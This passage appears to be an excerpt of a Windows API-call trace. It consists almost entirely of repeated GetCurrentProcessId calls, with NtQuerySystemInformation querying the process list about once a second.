returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.976] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.977] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.978] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0120.979] GetCurrentProcessId () returned 0x388 [0121.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cbe8) returned 0x0 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.617] GetCurrentProcessId () returned 0x388 [0121.618] GetCurrentProcessId () returned 0x388 [0121.618] GetCurrentProcessId () returned 0x388 [0121.618] GetCurrentProcessId () returned 0x388 [0121.618] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.619] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.620] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.621] GetCurrentProcessId () returned 0x388 [0121.622] GetCurrentProcessId () returned 0x388 [0122.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cc38) returned 0x0 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.383] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.384] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.385] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.386] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.387] GetCurrentProcessId () returned 0x388 [0122.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cb98) returned 0x0 [0122.914] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.915] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.916] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.917] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.918] GetCurrentProcessId () returned 0x388 [0122.919] GetCurrentProcessId () returned 0x388 [0123.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cb48) returned 0x0 [0123.617] GetCurrentProcessId () returned 0x388 [0123.617] GetCurrentProcessId () returned 0x388 [0123.617] GetCurrentProcessId () returned 0x388 [0123.617] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.618] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.619] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.620] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0123.621] GetCurrentProcessId () returned 0x388 [0124.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cb48) returned 0x0 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.197] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.198] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.199] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] 